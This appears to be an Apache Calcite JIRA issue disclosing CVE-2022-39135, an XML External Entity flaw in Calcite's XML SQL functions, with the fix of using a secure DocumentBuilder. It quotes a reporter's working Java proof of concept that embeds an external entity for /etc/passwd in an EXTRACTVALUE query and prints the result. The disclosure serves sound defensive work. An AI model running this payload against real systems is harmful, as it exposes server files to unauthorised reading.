Uploaded image for project: 'Calcite'
  1. Calcite
  2. CALCITE-5263

XML External Entity (XEE) vulnerability that allows a SQL query to read the contents of files via the SQL functions EXISTS_NODE, EXTRACT_XML, XML_TRANSFORM or EXTRACT_VALUE (CVE-2022-39135)

    XMLWordPrintableJSON

Details

    Description

      (This issue was previously logged with the subject 'Improve XmlFunctions by using an XML DocumentBuilder'.)

      CVE-2022-39135 is an XML External Entity (XEE) vulnerability that allows a SQL query to read the contents of files via the SQL functions EXISTS_NODE, EXTRACT_XML, XML_TRANSFORM or EXTRACT_VALUE.

      Here is the initial report from exceptionfactory:

      Based on an initial review, several XML functions appear to be vulnerable
      to XML External Entity attacks. Most of the functions require the Oracle
      dialect, except for extractValue, which requires the MySQL dialect.

      Implementing secure processing requires a different approach based on the
      particular JAXP component. In the case of Calcite XmlFunctions, it looks
      like changes would be necessary for TransformerFactory, as well as StAX and
      SAX sources.

      I would be glad to contribute a solution if this is deemed to be a
      legitimate vulnerability.

      I have included a simple proof of concept which embeds an external entity
      reference to the standard password file on Linux systems.

      import org.apache.calcite.jdbc.Driver;
      
      import java.sql.Connection;
      import java.sql.ResultSet;
      import java.sql.Statement;
      import java.util.Properties;
      
      public class CalciteMySQLXmlExternalEntity {
      
        public static void main(String[] args) throws Exception {
          final String xml = "<!DOCTYPE document [ <!ENTITY entity SYSTEM \"file:///etc/passwd\"> ]><document>&entity;</document>";
          final String sql =
              String.format("SELECT EXTRACTVALUE('%s','/document') AS ENTITY", xml);
          final String functionDialect = "mysql";
          executeSql(sql, functionDialect);
        }
      
        private static void executeSql(final String sql,
            final String functionDialect) throws Exception {
          final Driver driver = new Driver();
          final Properties properties = new Properties();
          properties.put("fun", functionDialect);
      
          try (final Connection connection =
              driver.connect(Driver.CONNECT_STRING_PREFIX, properties);
            Statement statement = connection.createStatement()) {
            if (statement.execute(sql)) {
              try (final ResultSet resultSet = statement.getResultSet()) {
                resultSet.next();
                System.out.println(resultSet.getString("ENTITY"));
              }
            }
          }
        }
      }
      

      The fix is to improve class XmlFunctions by using a secure instance of XML DocumentBuilder.

      Attachments

        Issue Links

          Activity

            People

              rubenql Ruben Q L
              rubenql Ruben Q L
              Votes:
              0 Vote for this issue
              Watchers:
              3 Start watching this issue

              Dates

                Created:
                Updated:
                Resolved:

                Time Tracking

                  Estimated:
                  Original Estimate - Not Specified
                  Not Specified
                  Remaining:
                  Remaining Estimate - 0h
                  0h
                  Logged:
                  Time Spent - 2h 10m
                  2h 10m